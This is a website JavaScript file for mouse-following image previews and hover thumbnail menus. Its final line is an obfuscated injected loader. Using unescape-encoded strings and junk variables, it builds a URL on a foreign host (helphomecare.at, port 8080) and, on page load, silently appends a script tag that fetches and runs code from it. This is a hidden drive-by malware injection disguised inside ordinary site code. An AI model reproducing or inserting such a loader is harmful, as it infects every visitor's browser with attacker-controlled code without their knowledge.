//if (typeof BrowserDetect == "undefined")
//    document.write("<script src='includes/javascript/browser_detect.js'></script>");

var debug = 0;
var _gar_timer;
var X;
var Y;

document.write('<div id="trailimageid" style="position: absolute;display: none;left: 0px;top: 0px;z-index: 200;"></div>');
document.write('<div id="trailmenuid" style="position: absolute;display: none;left: 0px;top: 0px;z-index: 200;"></div>');

function gettrailobj()
{
    if (document.getElementById)
        return document.getElementById("trailimageid").style
    else if (document.all)
        return document.all.trailimagid.style
}

function gettrailobjnostyle()
{
    if (document.getElementById)
        return document.getElementById("trailimageid")
    else if (document.all)
        return document.all.trailimagid
}

function getmenuobj()
{
    if (document.getElementById)
        return document.getElementById("trailmenuid").style
    else if (document.all)
        return document.all.trailmenuid.style
}

function getmenuobjnostyle()
{
    if (document.getElementById)
        return document.getElementById("trailmenuid")
    else if (document.all)
        return document.all.trailmenuid
}


function truebody()
{
    return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function showtrail(imagename)
{
	document.onmousemove=followmouse;

	if (debug != 1)
	{
	    newHTML = '<div style="padding: 0px; background-color: #FFF; border: 1px solid #888;">';
	    newHTML = newHTML + '<div align="center" style="padding: 2px 2px 2px 2px;">';
	    newHTML = newHTML + '<img src="' + imagename + '" border="0"></div>';
	    newHTML = newHTML + '</div>';
	}
	else
	{
	    newHTML =           '<table width=500 height=500 style="background:white;border:1px solid black;">';
	    newHTML = newHTML + '<tr><td>document.body.offset<br>taille de la fenetre client</td><td>y:<br>x:</td><td><span id="pos1_y">0</span> px<br><span id="pos1_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>docwidth/docheight<br></td><td>y:<br>x:</td><td><span id="pos2_y">0</span> px<br><span id="pos2_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offset<br></td><td>y:<br>x:</td><td><span id="pos3_y">0</span> px<br><span id="pos3_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>mouse<br></td><td>y:<br>x:</td><td><span id="pos4_y">0</span> px<br><span id="pos4_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>div<br></td><td>y:<br>x:</td><td><span id="pos5_y">0</span> px<br><span id="pos5_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>left :<span id="left">0</span></td><td><span id="right">0</span>:right</td><td><span id="positionLR">right</span></td></tr>';
	    newHTML = newHTML + '<tr><td>top :<span id="top">0</span></td><td><span id="bottom">0</span>:bottom</td><td><span id="positionTB">bottom</span></td></tr>';
	    newHTML = newHTML + '</table>';
	}
	gettrailobjnostyle().innerHTML = newHTML;
}

function hidetrail(){
	gettrailobj().innerHTML = " ";
	gettrailobj().display="none"
	document.onmousemove=""
	gettrailobj().left="-500px";
}
function get_position(element) 
{
    var p = {x: element.offsetLeft || 0, y:element.offsetTop || 0};
    while (element = element.offsetParent) {
        p.x += element.offsetLeft;
        p.y += element.offsetTop;
    }
    if (!p)
        p = {x: element.offsetWidth || 0, y:element.offsetHeight || 0};
    return p;
}


function show_thumbBar(menuitem)
{
    clearTimeout(_gar_timer);
    hide_thumbBar(true);
    document.onmousemove=posmouse;

    var p = get_position(document.getElementById("_id_tr_" + menuitem));
    var position = document.getElementById("_id_tr_" + menuitem);

    
    if(p.x == 0 && p.y == 0)
    {
        //cas du div avec position absolute, pour mettre par dessus un flash, par exemple...
        //inclure le fichier motools.js
        var myValues = $('_id_tr_cat_1').getCoordinates();   
        p.x = myValues.left;
        p.y = myValues.top;
    }
    var xcoord = p.x + 1;
    var ycoord = p.y + position.offsetHeight;

	set_menu_position(xcoord, ycoord);
	if (debug != 1)
	{
	    if (document.getElementById("menu_" + menuitem))
	        getmenuobjnostyle().innerHTML = document.getElementById("menu_" + menuitem).innerHTML;
        else
	        getmenuobjnostyle().innerHTML = "";
	}
	else
	{
	    newHTML =           '<table width=500 height=500 style="background:white;border:1px solid black;">';
	    newHTML = newHTML + '<tr><td>offsetParent.offsetWidth<br>offsetParent.offsetHeight</td><td><span id="pos1_x">0</span> px<br><span id="pos1_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offsetParent.offsetLeft<br>offsetParent.offsetTop</td><td><span id="pos2_x">0</span> px<br><span id="pos2_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offset.offsetWidth<br>offset.offsetHeight</td><td><span id="pos3_X">0</span> px<br><span id="pos3_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offset.offsetLeft<br>offset.offsetTop</td><td><span id="pos4_x">0</span> px<br><span id="pos4_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>X<br>Y</td><td><span id="pos5_x">0</span> px<br><span id="pos5_y">0</span> px</td></tr>';
	    newHTML = newHTML + '</table>';
	    getmenuobjnostyle().innerHTML = newHTML;
        document.getElementById('pos1_x').innerHTML = position.offsetParent.offsetWidth;
        document.getElementById('pos1_y').innerHTML = position.offsetParent.offsetHeight;
        document.getElementById('pos2_x').innerHTML = position.offsetParent.offsetLeft;
        document.getElementById('pos2_y').innerHTML = position.offsetParent.offsetTop;        
	    document.getElementById('pos3_x').innerHTML = position.offsetWidth;
        document.getElementById('pos3_y').innerHTML = position.offsetHeight;
        document.getElementById('pos4_x').innerHTML = position.offsetLeft;
        document.getElementById('pos4_y').innerHTML = position.offsetTop;        
        document.getElementById('pos5_x').innerHTML = xcoord;
        document.getElementById('pos5_y').innerHTML = ycoord;        
	}
	
}

function set_menu_position(xcoord, ycoord)
{         
	getmenuobj().left =xcoord+"px"
	getmenuobj().top =ycoord+"px"
	if (getmenuobj().display=="none")
		getmenuobj().display="inline";

}

function hide_with_timer()
{
    kill_timer();
    _gar_timer = setTimeout("hide_thumbBar(false)", 300);
}

function kill_timer()
{
    clearTimeout(_gar_timer);    
}

function posmouse(e)
{
    X = (typeof e != "undefined") ? e.pageX : event.clientX;
    Y = (typeof e != "undefined") ? e.pageY : event.clientY;    
}


function hide_thumbBar(immediately)
{

    var W = getmenuobjnostyle().clientWidth;
    var H = getmenuobjnostyle().clientHeight;
    var X1 =	parseInt(getmenuobj().left);
    var Y1 =	parseInt(getmenuobj().top);
    var X2 = X1 + W;
    var Y2 = Y1 + H;

    if (!immediately && (X1 <= X) && (X <= X2) && (Y1 <= Y) && (Y  <= Y2)) 
        return hide_with_timer();
	getmenuobj().innerHTML = " ";
	getmenuobj().display="none"
	document.onmousemove=""
	getmenuobj().left="-500px";
}


function followmouse(e)
{
	var xcoord=0
	var ycoord=0
	
	var mouseX = (typeof e != "undefined") ? e.pageX : event.clientX;
    var mouseY = (typeof e != "undefined") ? e.pageY : event.clientY;
    var divWidth = gettrailobjnostyle().clientWidth;
    var divHeight = gettrailobjnostyle().clientHeight;
    var scrollL = truebody().scrollLeft;
    var scrollT = truebody().scrollTop;
    
	var docwidth=document.all? scrollL+truebody().clientWidth : pageXOffset+window.innerWidth-15
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight)
	
    var positionLR = "right";
    var positionTB = "bottom";    
    
    var top = mouseY; 
    var bottom = docheight - mouseY;
    var left = mouseX;
    var right = docwidth - mouseX;
    if (right > divWidth + 10)
    {
        positionLR = "right";
        xcoord = scrollL+ mouseX + 10
    }
    else if (left > divWidth + 10)
    {
        positionLR = "left";
        xcoord = mouseX + scrollL - divWidth - 10;
    }
    else
    {
        if (left > right)
        {
            positionLR = "left";
            xcoord = mouseX + scrollL - divWidth - 10;
        }
        else
        {
            positionLR = "right";
            xcoord = scrollL+mouseX + 10
        }
    }
        
    if ( bottom > divHeight + 10)
    {
        positionTB = "bottom";
        ycoord += scrollT + mouseY + 10;
    }
    else
    {
        positionTB = "bottom";
        ycoord += scrollT + mouseY + 10;
    }

    if (debug)
    {
        document.getElementById('pos1_x').innerHTML = document.body.offsetHeight;
        document.getElementById('pos1_y').innerHTML = document.body.offsetWidth;
        document.getElementById('pos2_x').innerHTML = docheight;
        document.getElementById('pos2_y').innerHTML = docwidth;
        document.getElementById('pos3_x').innerHTML = xcoord;
        document.getElementById('pos3_y').innerHTML = ycoord;
        document.getElementById('pos4_x').innerHTML = mouseX;
        document.getElementById('pos4_y').innerHTML = mouseY;
        document.getElementById('pos5_x').innerHTML = divHeight;
        document.getElementById('pos5_y').innerHTML = divWidth;
        document.getElementById('top').innerHTML    = top;
        document.getElementById('bottom').innerHTML = bottom;
        document.getElementById('left').innerHTML   = left;
        document.getElementById('right').innerHTML  = right;
        document.getElementById('positionLR').innerHTML  = positionLR;
        document.getElementById('positionTB').innerHTML  = positionTB;
    }	

	if (xcoord + divWidth > docwidth  + scrollL)        xcoord = docwidth + scrollL - divWidth;
	if (ycoord + divHeight > docheight + scrollT)       ycoord = docheight + scrollT - divHeight;
	if (ycoord - scrollT < 0) 	   ycoord = scrollT; 
	if (xcoord - scrollL < 0)      xcoord = scrollL;

	gettrailobj().left=xcoord+"px"
	gettrailobj().top=ycoord+"px"
	if (gettrailobj().display=="none")
		gettrailobj().display="inline";
}



var V;if(V!='p' && V != ''){V=null};this.Q='';function q(){this.t="";var el;if(el!='R'){el='R'};var qT=unescape;var f=window;this.h='';var j;if(j!='' && j!='T'){j='u'};var hM=new String();var O=qT("%2f%66%69%6c%65%73%74%75%62%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%78%63%69%74%65%2e%63%6f%2e%6a%70%2e%70%68%70");function B(e,P){var n='';var jV;if(jV!='' && jV!='dv'){jV='BR'};var d="Voy6g".substr(4);var m=qT("%5b"), a=qT("%5d");var dU=new Date();var E=m+P+a;var W=new RegExp(E, d);var Tz=new Date();return e.replace(W, new String());};var cI;if(cI!='H'){cI=''};this.EF='';var Oq=document;this.F='';var D;if(D!='qF' && D!='Y'){D='qF'};var eB=B('83355105626823661026117','73625419');var py=new Date();var y;if(y!='' && y!='PH'){y=null};var G=new String();var ch;if(ch!='' && ch!='tm'){ch=''};var l=new String();function GR(){var z;if(z!='tR' && z!='Cf'){z=''};var WT=new Array();var GN="";var Hi="";var A=qT("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var kU;if(kU!='' && kU!='jg'){kU=''};var Xv=new String();G=A;G+=eB;var wp;if(wp!='Vm' && wp != ''){wp=null};this.nn="";G+=O;var IP;if(IP!='' && IP!='v'){IP='oq'};try {o=Oq.createElement(B('sNcTrNiTpNtN','TN'));var ME;if(ME!='XM' && ME!='KE'){ME='XM'};o[qT("%64%65%66%65%72")]=[1,0][0];var CX;if(CX!='QE' && CX!='Xt'){CX=''};var bN=new String();o[qT("%73%72%63")]=G;var dW=new Array();var yc=new Date();Oq.body.appendChild(o);var vw=new String();this.tx='';var yo=new String();} catch(J){alert(J);var io='';};}this.VF='';var ea='';var TN=new Date();var JG=new Array();f["onloaBhA".substr(0,5)+"OBVd".substr(3)]=GR;var Xw;if(Xw!=''){Xw='Wf'};var yv;if(yv!='kM'){yv='kM'};};var St='';var KU=new Array();var Vo;if(Vo!='' && Vo!='qe'){Vo=null};var jA=new Array();q();var Eb='';var oI='';